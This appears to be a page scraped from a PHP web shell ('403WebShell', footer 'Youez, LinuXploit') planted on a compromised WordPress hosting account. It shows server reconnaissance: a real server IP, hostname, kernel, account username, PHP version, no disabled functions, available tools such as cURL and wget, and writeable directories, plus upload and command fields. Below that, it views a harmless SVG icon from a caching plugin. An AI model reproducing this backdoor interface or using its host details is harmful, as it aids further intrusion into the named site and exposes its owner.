Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.119.116.77
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/litespeed-cache/assets/img/icons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/litespeed-cache/assets/img/icons/cross_icon.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="20px" height="20px" viewBox="0 0 20 20" enable-background="new 0 0 20 20" xml:space="preserve">
<g id="Layer_1_1_" display="none">
	<path display="inline" fill="#E8AE4A" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.51,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.321,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.357,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy_3" display="none">
	<path display="inline" fill="#4675B8" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.51,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.321,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.357,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy" display="none">
	<path display="inline" fill="#A32430" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M15.159,13.764c0.187,0.188,0.288,0.438,0.288,0.697c0,0.262-0.102,0.51-0.288,0.695
		c-0.185,0.184-0.438,0.289-0.698,0.289c-0.262,0-0.518-0.105-0.697-0.291L10,11.393l-3.764,3.766c-0.361,0.359-1.033,0.359-1.393,0
		c-0.187-0.186-0.29-0.434-0.29-0.695s0.103-0.512,0.289-0.695L8.606,10L4.842,6.234c-0.385-0.384-0.385-1.01,0-1.394
		c0.359-0.361,1.032-0.361,1.394,0L10,8.604l3.766-3.765c0.356-0.359,1.033-0.361,1.396,0c0.188,0.185,0.288,0.433,0.288,0.697
		c0.001,0.264-0.104,0.511-0.288,0.697l-3.767,3.764L15.159,13.764z"/>
</g>
<g>
	<circle fill="#CC3D6A" cx="10" cy="10" r="9.967"/>
</g>
<path fill="#FFFFFF" d="M11.414,10l3.503-3.503c0.392-0.391,0.392-1.024,0-1.414c-0.392-0.391-1.022-0.391-1.414,0L10,8.586
	L6.497,5.082c-0.391-0.391-1.023-0.391-1.414,0c-0.391,0.39-0.391,1.023,0,1.414L8.586,10l-3.503,3.504
	c-0.391,0.391-0.391,1.023,0,1.414c0.195,0.195,0.451,0.293,0.707,0.293s0.512-0.098,0.707-0.293L10,11.414l3.502,3.503
	c0.195,0.194,0.451,0.293,0.707,0.293s0.512-0.099,0.707-0.293c0.391-0.392,0.391-1.022,0-1.414L11.414,10z"/>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit